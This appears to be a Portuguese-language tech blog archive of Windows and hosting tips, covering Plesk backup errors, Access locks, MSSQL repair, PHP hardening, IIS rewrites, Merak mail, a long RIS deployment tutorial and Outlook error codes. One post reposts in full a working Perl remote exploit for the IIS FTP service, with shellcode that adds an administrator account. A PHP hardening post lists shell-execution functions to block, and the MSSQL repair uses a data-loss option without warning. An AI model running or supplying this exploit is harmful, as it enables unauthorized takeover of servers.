Archive for the ‘Windows’ Category

Error on backups parallels plesk windows Meu windows apresenta erro no parallels plesk no momento do backup

Monday, June 28th, 2010


Este é o erro que está ocorrendo com você?

Error: Runtime error in pmmcli:
(3, ‘GetDiskFreeSpace’, ‘The system cannot find the path specified.’)
Traceback (most recent call last):
File “C:\Program Files\Parallels\Plesk\admin\share\pmmcli\pmmcli.py”, line 1846, in main
data_action_response, errcode_response, error_message = actions.get(sys.argv[1][2:])(parameters)
File “C:\Program Files\Parallels\Plesk\admin\share\pmmcli\pmmcli.py”, line 1721, in make_dump
return ActionRunner(MakeDumpAction, backup_task_description, None).doActivity()
File “C:\Program Files\Parallels\Plesk\admin\share\pmmcli\pmmcli.py”, line 75, in doActivity
result = self.processor.doActivity()
File “C:\Program Files\Parallels\Plesk\admin\share\pmmcli\pmmcli.py”, line 860, in doActivity
if osutil.free_bytes(local_dump_directory) < (long(disk_space_required) * 1048576):
File “C:\Program Files\Parallels\Plesk\admin\lib\python\osutil.py”, line 188, in free_bytes
sectorsPerCluster, bytesPerSector, numFreeClusters, totalNumClusters = GetDiskFreeSpace(os.path.splitdrive(path)[0] + “\\”)
error: (3, ‘GetDiskFreeSpace’, ‘The system cannot find the path specified.’)

Se é, antes de tentar seu backup, atualize o plesk para uma versão mais recente e o problema deverá estar sanado.

Warning: odbc_connect() [function.odbc-connect]: SQL error: [Microsoft][ODBC Microsoft Access Driver] Could not use ‘(unknown)’; file already in use., SQL state S1000 in SQLConnect in

Friday, May 21st, 2010

Antemão estou quase chorando por estar usando access, mas como se diz: “Sábio é o que dança conforme a música manda!”.
Estou desenvolvendo ferramentas para automatizar algumas replicações de dados de uma empresa e estou usando php (tecnologia) + access (isso é um banco?)

Este erro é ocasionado pelo fato de existir um drive fechando a conexão (na realidade aberto e acaba bloqueando novas conexões), por exemplo o Access abrindo a bendita base de dados access (.MDB).

Garanta que nada esteja abrindo o access database.

Uma forma de ver que isto está ocorrendo é observar se na pasta aonde o banco de dados esteja, exemplo nerdblog.mdb contenha também um arquivo nerdblog.ldb.

Ao fechar o driver ele automaticamente removerá o arquivo .LDB.

:D

Como reparar um banco de dados MSSQL 2005

Thursday, April 22nd, 2010


Ao acessar o mssql management studio procure pela aba query (clicando com o botão direito em cima do banco de dados) e insira as seguintes linhas:

EXEC sp_resetstatus ‘nomedobd’;
ALTER DATABASE nomedobd SET EMERGENCY
DBCC checkdb(‘nomedobd’)
ALTER DATABASE nomedobd SET SINGLE_USER WITH ROLLBACK IMMEDIATE
DBCC CheckDB (‘nomedobd’, REPAIR_ALLOW_DATA_LOSS)
ALTER DATABASE nomedobd SET MULTI_USER

Isto deverá corrigir o problema.

Lista de funções para desabilitar em um ambiente CPANEL de Hospedagem de Sites compartilhada

Monday, April 5th, 2010


Bem, se você quer mais segurança em um ambiente compartilhado você precisará de ajustar seu php.ini global (/usr/local/lib/php.ini) em seu servidor de hospedagem compartilhada afim de prevenir ataques usando recursos avançados do php.

Como faremos isto?

Procure pela linha disable_functions =

e depois do ‘=’ aplique as seguintes funções:

dl, system, exec, shell_exec, chown, chgrp, escapeshellcmd, putenv, popen, pclose, passthru, proc_open, proc_get_status, proc_nice, proc_close, proc_terminate, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname

Talvez você precisará do shell_exec para o caso do Fantástico Deluxe.
Avalie se vale a pena deixar esta função ativa e prossiga :D

Como fazer SEO completo URL-Rewrite no IIS com WordPress?

Friday, March 26th, 2010


Prezados, sou conhecido na comunidade opensource por causa de meus how tos, procuro não omitir informações a ninguém e mais uma vez lá vai uma dica quente:

Se você está sofrendo com o que eu sofri, deixar o worpress sair do basicão do seo no iis, estilo:

site.com.br/index.php/meu-post

Basta seguir os passos abaixo:

1 – baixe o arquivo dll:

http://wp-url-rewriting-on-iis.googlecode.com/files/wp-url-rewriting-2.1-win32.zip

Ou para 64 bt:

http://wp-url-rewriting-on-iis.googlecode.com/files/wp-url-rewriting-2.1-X64.zip

Extraia o arquivo para c:\windows\system32\

2 – Crie um filtro ISAPI dentro do IIS no domínio desejado com o nome:
url-rewrite.
No botão browse procure pelo arquivo wp-url-rewriting.dll dentro da pasta c:\windows\system32\ e selecione-o.

Pronto.

Feito isto o site deverá apresentar o SEO (permalinks) do WordPress de maneira satisfatória.

Abraços.

Exploit para o IIS 6 (FTPD) – BOF

Monday, February 1st, 2010

# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;
$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
print "usage: iiz5.pl \n";
exit(0);
}
srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;
if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '21',
Proto => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);
# top address of stack frame where shellcode resides, is hardcoded inside this block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
print $_;
}
close($servsock);
}
#Cheerio,
#
#Kingcope

Error 5.7.1 no Merak Mail Server – erro ao tentar enviar uma mensagem (try send message)

Thursday, January 28th, 2010

Bem, o erro 5.7.1 pode significar uma chuva de coisas, mas com uma simples ajuda, ou melhor, com uma simples dica este erro pode parar.

Isto normalmente ocorre por causa do RELAY que está em off (por padrão) após instalado.

O Ajax destes mailserver (o webmail em ajax) é muito bonito (mesmo). (parece que os caras são fanáticos por ext-js)

Ok, acesse o Merak (no gestor administrativo dele) e procure pelo Menu SECURITY, neste menu, procure pelo item Allow RELAY.

Isto deve resolver, caso não resolva procure por DENY SMTP EHLO, se estiver marcado, desmarque.

Caso não resolva, em última instância desabilite o suporte por SSL/TLS.

Bugs estão por toda parte e isto faz parte do panelão.

Abraços.

Localização do PHP.INI em um servidor IIS com painel de controle parallels plesk windows

Thursday, January 28th, 2010

Opa galera, mantendo o rítimo de posts em alta, vamos lá.

Hoje me surgiu uma dúvida simples:

Aonde fica localizado o danado do php.ini em um windows server com painel de controle plesk?

Simples :P

C:\Program Files\Parallels\Plesk\Additional\PleskPHP5\php.ini

Como instalar sistemas operacionais remotamente pelo Windows 2003 Server

Friday, January 15th, 2010

AP754 – RIS – Serviços de Instalação Remota

Autor: Hélio Galvão
Publicação: 18/Agosto/2006

Overview

Em grandes redes corporativas, instalar sistemas operacionais nas estações pode ser um processo lento e trabalhoso. Pensando na questão da automação, da padronização e também da centralização de informações, a Microsoft desenvolveu o RIS, encontrado em algumas versões do Windows Server.

O RIS (lê-se “rís”) é uma ótima ferramenta administrativa, que de uma forma resumida, armazena a imagem* de um determinado sistema operacional e permite que clientes conectados através da rede instalem este sistema sem a necessidade de CD’s e/ou disquetes**.

Irei abordar neste artigo a instalação do Windows XP Professional com base em um Servidor Windows 2003 Standard Edition, no modo de idioma nativo (português) e em modo “multi-language”, para os casos em que o idioma do servidor for diferente do cliente (e vice-versa).

Ex.: Windows Server 2003 em inglês e Windows XP Pro em português.

*Na verdade, quando falamos imagem, pensamos em um arquivo como o gerado pelo Norton Ghost©, porém neste caso, a “imagem” nada mais é que o CD de instalação do sistema operacional alocado em um diretório definido pelo usuário.

**O disquete será necessário em um caso específico que abordaremos adiante.




Solução

:: Itens necessários para utilização do RIS ::

-Servidor Windows com Active Directory® e zona integrada* ao AD;
(o servidor pode ser controlador de domínio ou membro dele)
-Servidor DHCP ativo e autorizado;
-Espaço em disco no servidor para armazenarmos os arquivos do Windows XP;
-CD de instalação do Windows XP Professional;
-CD de instalação do Windows 2003 Std. Edition;
-CD de instalação do Windows 2000 Professional (opcional);
-Cliente com placa de rede (NIC) que suporte o recurso PXE ou placa de rede com suporte** ao disquete de inicialização do RIS;

*Muitos tutoriais e artigos não informam, mas a zona DNS deve ser preferencialmente integrada ao AD. No Windows Server 2003, ao elegermos um DC, a zona criada fica integrada ao AD, por padrão.

*Confira a lista de adaptadores de rede compatíveis com o disquete de inicialização do RIS mais adiante neste tutorial.

PXE = Pre-Boot Execution Environment

Acesse o link: http://en.wikipedia.org/wiki/Preboot_Execution_Environment e obtenha maiores informações sobre PXE.

:: Sistemas operacionais suportados para se efetuar a instalação remota ::

-Windows XP Professional;
-Windows Server 2003, Standard, Enterprise x32 e x64, e Web Editon;
-Windows 2000 Professional, Server e Advanced Server.

Info: Os dados acima foram retirados do site da Microsoft.

Nota: Recomendo para testes o VMWARE, pois sua interface de rede suporta o PXE.

:: Iniciando o Trabalho ::

Acesse a ferramenta “Adicionar ou Remover Programas” no Painel de Controle do Windows 2003. Clique em “Adicionar ou Remover Componentes do Windows”. Ao abrir a lista, procure pelo item “Serviços de Instalação Remota” e instale-o. O CD do Windows Server será solicitado para finalização desta tarefa.

1

Ponto-Chave: Verifique se o servidor DHCP está OK, bem como DNS, pois são cruciais para que o cliente encontre os serviços na rede.

Recomendo reiniciar o servidor após instalar o RIS. Em alguns testes, o serviço não pôde ser contatado, e não descobri por que. De fato o sistema nem pede para ser reiniciado, então por uma questão óbvia não o fiz, mas (…)

Após reiniciar o servidor, abra as Ferramentas Administrativas e clique sobre o item “Programa de Instalação dos Serviços de instalação remota”.

2

Por se tratar de um primeiro acesso, será aberto um assistente, o clássico “next next finish”, mas algumas opções têm sua importância. Reserve um minuto e veja abaixo a lista que o assistente solicita para o RIS.

3

Especifique o local físico para armazenar as imagens (arquivos de instalação) dos sistemas operacionais que estarão disponíveis para os clientes. Uma boa prática é colocar em um HD separado, ou então, em uma outra partição. Tenha em mente que o que será mais usado é: transferência de dados (rede/disco).

4
Na tela abaixo, marque a primeira opção, caso contrário os clientes não encontrarão o serviço na rede.

5

Nesta parte, insira o CD do Windows XP Professional. O assistente copiará os arquivos para o diretório das imagens, especificado anteriormente.

6

Abaixo será solicitado que o usuário entre com o nome do diretório onde os arquivos de instalação ficarão armazenados. Por padrão, o sistema retornou o nome “WINDOWS”, mas achei um tanto genérico e renomeei para “WINXP”. Não utilize nomes grandes, dê preferência a algo simples e intuitivo, como WIN2KPRO, WIN2K3S, WIN2K3W.

7

Na descrição da imagem, deixei a mensagem padrão.

8O
Após conferir os dados…

9

…o assistente começa a cópia dos arquivos localizados no CD-ROM.

10

Após a cópia, teremos finalizado praticamente a parte mais longa da tarefa de preparação de nosso serviço de instalação remota. Na próxima parte, utilizaremos nosso tempo para realizar uma “autópsia”, com o intuito de simplificar e descobrir algumas coisas do RIS.

:: Diretórios Utilizados pelo RIS ::

Caso não lembre, definimos o diretório D:\RemoteInstall para abrigar os serviços disponíveis através do RIS. Este diretório é compartilhado por padrão, com o nome de REMINST. Nota: Não é necessário alterar NADA em suas permissões.

Na figura abaixo, destacarei apenas um arquivo, o rbfg.exe. Este pequeno executável é o Gerador de Disquete de Instalação Remota para interfaces de rede que não possuem o ROM de boot remoto (PXE). Lembre de consultar a lista de compatibilidade, pois nem todas as interfaces suportam este recurso. Se a interface a ser utilizada não é compatível, não perca tempo gerando o disquete. O arquivo riprep.exe será debatido em outro artigo, mas para os curiosos, este utilitário é um gerador de imagem de sistema operacional, mas já com aplicativos instalados. Não falaremos sobre ele, pois será necessário um breve bate-papo sobre HAL, MassStorage Devices, ChipSets (…)

Info: Para consultar a lista de interfaces compatíveis, execute o rbfg.exe e clique sobre o botão “Lista de Adaptadores”.

11

No diretório abaixo, localizamos dois arquivos com a extensão .osc. Mais adiante falaremos sobre estes arquivos, que nada mais são que as telas de instalação que serão visualizadas pelos clientes RIS.

12
Abaixo, podemos ver o diretório onde estão armazenados os arquivos de startup do cliente, que serão executados no ambiente “pre-boot”. Quando o cliente inicia a máquina e pressiona F12 para que o boot seja efetuado pela rede*, a interface busca um IP via DHCP e inicia todo o processo, solicitando novamente que se pressione F12 ao encontrar um serviço disponível.

13

Dica: Caso queira automatizar um pouco esta inicialização, renomeie o arquivo startrom.com para startrom.old e o arquivo startrom.n12 para startrom.com. Desta maneira, não será necessário pressionar F12 após ter um IP atribuído e o serviço encontrado.

Info: *Em algumas situações será necessário definir na BIOS que a interface de rede participe do processo de BOOT, caso contrário não conseguiremos conexão cliente-servidor. Ex.: Um determinado PC já possui um sistema operacional instalado e não apresenta a opção de BOOT pela rede através do F12. Na BIOS foi definido que a interface de rede não participa da seqüência de boot, ou até participa, mas em uma posição posterior ao HD/CD/Floppy. O que ocorrerá é que o HD por já possuir um S.O, “não dará chance” ao usuário iniciar o processo pela rede.

No diretório marcado abaixo, podemos ver mais arquivos .osc, que são as telas de instalação do RIS, vistas pelo cliente, para o idioma “Portuguese”.

Nota: Estas telas estão em inglês, e adiante veremos como customizá-las.

14

Na figura a seguir, vemos um diretório de extrema importância, que é o “templates”. Este diretório armazena o arquivo ristndrd.sif, que é um arquivo de respostas para instalações automatizadas do Windows.

15

Info: Após gerar a imagem, o RIS cria um arquivo de respostas padrão, localizado em RemoteInstall\Setup\Portuguese\Images\WINXP\i386\templates, porém podemos criar um NOVO arquivo de respostas, substituindo o atual OU utilizando-o como mais uma opção na instalação automatizada. Veremos adiante como fazer isso, inclusive oferecendo ao usuário opções de instalação (automática, customizada – onde se pode definir o nome da maquina, ou a terceira opção, que é continuar uma instalação mal-sucedida e também a opção de manutenção – que não será abordada neste artigo).

:: Conhecendo, Editando e Preparando as Telas de Instalação do RIS ::

Procure pelo diretório D:\RemoteInstall\OSChooser e verifique os arquivos com extensão .osc. Abra algum deles com o bloco de notas, e verá que é bem parecido com HTML.

Sim, podemos padronizar estas telas, obedecendo claro, sua sintaxe. Estes arquivos, como dito anteriormente, são as telas que o cliente utilizará durante todo o processo oferecido pelo RIS.

No momento em que o cliente encontra o serviço disponível na rede e o executa, a primeira tela a ser mostrada é D:\RemoteInstall\OSChooser\welcome.osc. A partir deste item, o usuário segue para outras telas, de acordo com o que for definido como padrão ou de acordo com suas escolhas. Basicamente é isto que ocorre.

Ponto-Chave: Volte a consultar este tópico no momento em que formos instalar o sistema no cliente.

Após ligeira explicação, trataremos em primeiro plano a instalação no modo de nosso idioma nativo (português, sendo único idioma disponível).

Ao passar pela primeira tela (welcome.osc), seguiremos para D:\OSChooser\Portuguese\login.osc, onde precisaremos autenticar o usuário que fará a instalação. Veremos isso durante o processo cliente.

As próximas telas referem-se às opções de instalação e serão descritas no próximo tópico: “Automação com Arquivos de Respostas e Opções de Instalação”.

No modo multi-language (2 ou mais idiomais disponíveis), precisamos renomear o arquivo D:\RemoteInstall\OSChooser\welcome.osc para algo diferente, como welcome.old, copiar o arquivo multilang.osc como welcome.osc, e depois editá-lo, de acordo com as opções de idiomas que desejamos oferecer. Observe atentamente a sintaxe, os exemplos presentes no arquivo modelo são bem claros.

A diferença agora é que ao acessar o serviço, o cliente verá uma tela de boas vindas (welcome.osc) com as opções de idioma definidas pelo administrador (é, você mesmo!). O restante segue o padrão explicado acima, mas lembre que o diretório referente ao idioma selecionado deve existir em \RemoteInstall\OSChooser\[Idioma] contendo os arquivos .osc.

Ex.: Para o Francês: \RemoteInstall\OSChooser\French

Além disso, dentro do diretório criado para as imagens, deve haver algum Sistema Operacional disponível para o idioma que você definiu, caso contrário não fará muito sentido!
:: Automação com Arquivos de Respostas e Opções de Instalação ::

Como mencionado anteriormente, o RIS gera um arquivo de respostas padrão, chamado ristndrd.sif.

Podemos utilizar o setupmgr.exe para gerar um novo arquivo de respostas para o RIS. Caso não esteja familiarizado com esta ferramenta, não se preocupe. É bem simples e nada que 15 minutos de estudo não resolva. Esta ferramenta é encontrada no CD do Windows XP, em \SUPPORT\TOOLS. Procure por Deploy.CAB e extraia seu conteúdo para um diretório qualquer em sua máquina, de preferência com o nome “Deploy” mesmo! Ao gerar o arquivo de resposta pelo setupmgr.exe (utilizando a opção do RIS, claro!), podemos associá-lo a uma imagem já presente no diretório de distribuição, inserindo o arquivo como mais uma opção, ou então substituindo o arquivo padrão que foi gerado (ristndrd.sif). Temos duas opções, e a mais fácil é colocar o arquivo diretamente na pasta a seguir:

D:\RemoteInstall\Setup\Portuguese\Images\WINXP\i386\templates

Nota: Mesmo que o usuário defina um nome de computador no arquivo de respostas, este não será utilizado, e veremos adiante como isso será feito. Caso queira averiguar, gere o arquivo definindo um nome de computador. Abra o arquivo de respostas com o bloco de notas e veja que o nome de computador é uma variável!

A outra opção para associar um arquivo de respostas é mais trabalhosa, mas caso a queira utilizar, acesse “Usuários e Computadores do Active Directory” e procure pelo computador onde o RIS está instalado. Acesse suas propriedades e clique na aba referente à Instalação Remota.
Clique em “Opções Avançadas” e depois na aba “imagens”. Clique no botão “adicionar” e siga o assistente. Tudo que ele fará é copiar o arquivo de um local X para o local Y, no caso, o diretório:

D:\RemoteInstall\Setup\Portuguese\Images\WINXP\i386\templates

As figuras a seguir demonstram o passo-a-passo do procedimento descrito acima, além de mostrar o que discutimos sobre o nome do computador & variáveis.

16
Acesse as “Configurações Avançadas”…

17

…verifique a questão do “formato de nome do computador”…

18

…e as imagens/arquivos de resposta na aba “imagens”.

19

Antes de falarmos sobre as opções de instalação, vale lembrar que só estarão disponíveis caso o administrador as defina nas diretivas de grupo do domínio em questão. Edite esta diretiva, procurando na seção “Configuração do Usuário > Configurações do Windows > Serviços de Instalação Remota”. Não tem como errar! Faça as alterações necessárias, vamos adiante e lembre-se: não abordaremos a opção “Ferramentas”!

Ponto-Chave: Volte a consultar este tópico no momento em que formos instalar o sistema no cliente.

Instalação Automática: Nesta opção, a instalação utilizará as configurações de nome e localização da conta de computador de acordo com o que for definido na tela de configuração do RIS (Usuários e Computadores do Active Directory > Propriedades do Computador que abriga o RIS > Aba de Instalação Remota). Logo na primeira tela podemos encontrar as convenções de nome que podem ser utilizadas. Alguns exemplos: nome do usuário, número seqüencial, ou alguma seqüência de caracteres customizados.

Nota: Caso as diretivas não estejam definidas, esta será a única opção do usuário, e entrará automaticamente.

Instalação Customizada: Nesta opção, a instalação utilizará as configurações de nome e localização da conta de computador definidos pelo usuário. É uma ótima opção, pois é uma boa prática das empresas criarem um padrão de nomes para os computadores de acordo com o setor, etc. Assim o usuário ficará livre para utilizar um nome mais apropriado, de acordo com sua necessidade.

O próximo passo é a escolha do Sistema Operacional a ser instalado, porém, como criamos apenas uma imagem, não veremos outras opções. Caso queira, adicione posteriormente uma nova imagem, do Windows 2000 Pro, por exemplo. Leia no final deste documento o tópico extra sobre este assunto.

Caso queira adicionar outra imagem agora, veja na figura abaixo o assistente:

20

Voltando à nossa instalação, perceba que na tela em que escolhemos o sistema operacional, escolheremos na verdade qual arquivo de respostas será utilizado.

Ex.: Se possuo dois arquivos de respostas distintos, para instalação do Windows XP Pro, a instalação disponibilizará DUAS opções para este sistema operacional, mas a imagem que criamos é única, portanto o Windows XP será instalado a partir desta imagem, porém de acordo com o arquivo de respostas escolhido. Pode parecer confuso, mas a idéia é simples. O que ocorre, é que o processo é transparente para o usuário do serviço.

Dica: Edite o arquivo de respostas com o bloco de notas e altere sua descrição (no final do arquivo) para que fique algo documentado, resumidamente. Ex.: “Windows XP Pro SP2 com teclado ABNT2” ou “Windows XP Pro SP1 padrão”.

Após definir qual sistema será instalado, chegamos praticamente ao propósito final e teórico do RIS! No próximo tópico, faremos a instalação completa e automatizada de uma estação Windows XP Professional utilizando nosso servidor RIS!

:: Instalação do Cliente ::

Espero que já tenha preparado seu ambiente de testes! A seguir, podemos ver o boot através da interface de rede, já buscando um endereço via DHCP.

22

A próxima tela, é a famosa “welcome.osc”…

23

…e abaixo, “login.osc”:

24
Perceba que o serviço solicita a entrada de credenciais e informa o nome do domínio ao qual estou conectado, além do nome do servidor RIS, no caso, “MARGE” (isso mesmo, Marge Simpson…)

Na tela a seguir, podemos ver as opções de instalação, definidas via diretiva.

25

Se for escolhida a opção “Automática”, a instalação solicitará apenas que o usuário escolha a imagem a ser utilizada (arquivo de repostas/imagem, como discutido anteriormente). Caso haja apenas um arquivo de respostas/imagem, só haverá uma única opção. No exemplo abaixo, deixei o arquivo gerado pelo RIS e criei um personalizado, que já inclui a modesta chave do Windows, além de outras opções.

Lembre que nesse caso, o NOME da máquina será gerado de acordo com o padrão definido nas opções no Servidor RIS!

26

Se for escolhida a opção personalizada (custom setup), o usuário terá a liberdade para definir alguns parâmetros como Nome e localização da conta do Computador no domínio. Se colocarmos apenas o nome do computador, a conta será criada na Unidade Organizacional default, que é “Computers”.

27

A opção “Restart a Previous…” serve para continuar uma instalação que não obteve sucesso anteriormente. Se os arquivos básicos de instalação já tiverem sido copiados, estes não serão transferidos novamente.

A última opção refere-se às ferramentas de diagnóstico e resolução de problemas, mas como informado anteriormente, não as abordarei neste artigo.

Na imagem a seguir, recebemos um aviso antes da instalação do novo sistema:

28

Como optei pelo modo automático e também pela imagem associada ao meu arquivo de respostas, a instalação utilizará o arquivo de respostas criado por mim para efetuar a instalação. Perceba que o nome da máquina foi atribuído pela opção definida no servidor RIS e não pelo usuário, o que não ocorre no modo “custom”.

29

Após pressionarmos [ENTER], chegamos à próxima tela, a famosa “text-based installation” do Windows XP. A partir daí, se tudo estiver correto, a instalação será 100% automatizada, sem que você aperte uma tecla sequer.

30

Se você chegou até aqui, parabéns! O Servidor RIS foi implantado com sucesso!
A seguir, faço algumas recomendações básicas e disponibilizei também um tópico extra, para a instalação de novas imagens.

:: Práticas Recomendadas ::

1-Não utilize este recurso sobre redes lentas, ou WANs (que também costumam ser lentas se comparadas às LANs).

2-O RIS utiliza basicamente recursos de transferência de dados, portanto dê preferência a um disco dedicado no servidor.

:: Tópico Extra – Adicionando novas imagens em idioma nativo/não-nativo ::::

Acesse as Ferramentas Administrativas e clique sobre o item “Programa de Instalação dos Serviços de instalação remota.

21

Neste momento, duas opções serão disponibilizadas para o usuário, e escolheremos a primeira (“adicionar uma nova imagem…”). O assistente solicitará que você insira a mídia (ou outro local) contendo os arquivos de instalação do sistema operacional. Insira a mídia e prossiga. As demais opções são básicas e meramente informativas, com exceção de uma, onde o usuário terá que escolher entre três opções definidas por radio-buttons.

Lembre-se: caso queira alterar a descrição, NÃO utilize caracteres especiais (acentos etc.), pois as telas de instalação do RIS (os arquivos .osc) não suportam esta codificação.

Nota: Fique atento apenas na última tela que antecede a cópia do CD, onde o assistente pode ou não questionar o usuário sobre o que fazer com as telas de instalação do RIS.

Ponto-Chave: Caso o Windows pergunte algo sobre “telas de instalação”, marque a opção “utilizar as telas atuais”, caso contrário as telas que foram personalizadas serão substituídas.

Conclusão

Com este artigo/tutorial, mostramos como instalar o Serviço de Instalação Remota (RIS) no Windows Server 2003 .

Fonte: http://www.andersonpatricio.org/Tutoriais/AP754_b.html

Códigos de erros comuns do Outlook Express e Microsoft Outlook

Tuesday, December 15th, 2009

ERRO 0X800CCC19 (OE) OU 0X8004210A (OUTLOOK 2002)
Erro: A opção Scan incoming Email and Scan outgoing Email está activada no programa Norton AntiVirus.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO 0X800CCC0E, ERRO DE SOQUETE 10061
Erro:
A opção Scan incoming Email and Scan outgoing Email está ativada no programa AntiVirus.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO 0X800CCC0D OU 0X800CCC0F
Erro:
O Norton AntiVirus poderá ter executado o LiveUpdate da Norton e instalado a atualização Script Blocking.
Solução: Desativar o antivirus e a consultar o suporte técnico do fabricante do seu Anti Virus.

ERRO: POP3 E SMTP ERRO DE SOQUETE 11001 Nº DO ERRO 0X800CCC0D
Erro:
Configuração do servidor pop3 ou smtp esta incorreta, a porta do servidor esta bloqueada, esta ligado a um servidor, ou esta sem comunicação com a internet.
Solução: Verificar se o cliente esta se comunicando com a internet, se possui firewall ou se esta ligado em rede.

ERRO: SMTP ERRO DE SOQUETE 11004 Nº DO ERRO 0X800CCC0D
Erro:
Configuração do servidor smtp esta incorreta.

ERRO: POP3 E SMTP ERRO DE SOQUETE 11060 Nº DO ERRO 0X800CCC0E
Erro:
Configuração da porta do servidor esta incorreta ou bloqueada.

ERRO: POP3 E SMTP N.º DO ERRO 0X800CCC0E 10065
Erro:
Sem comunicação com a internet.

ERRO: POP3 E SMTP MSG: ERRO DE TCP/IP N.º DO ERRO 0X800CCC15
Erro:
Sem comunicação com a internet.

ERRO: SMTP ERRO: 0X800CCC78 OU 0X800CCC79
Erro:
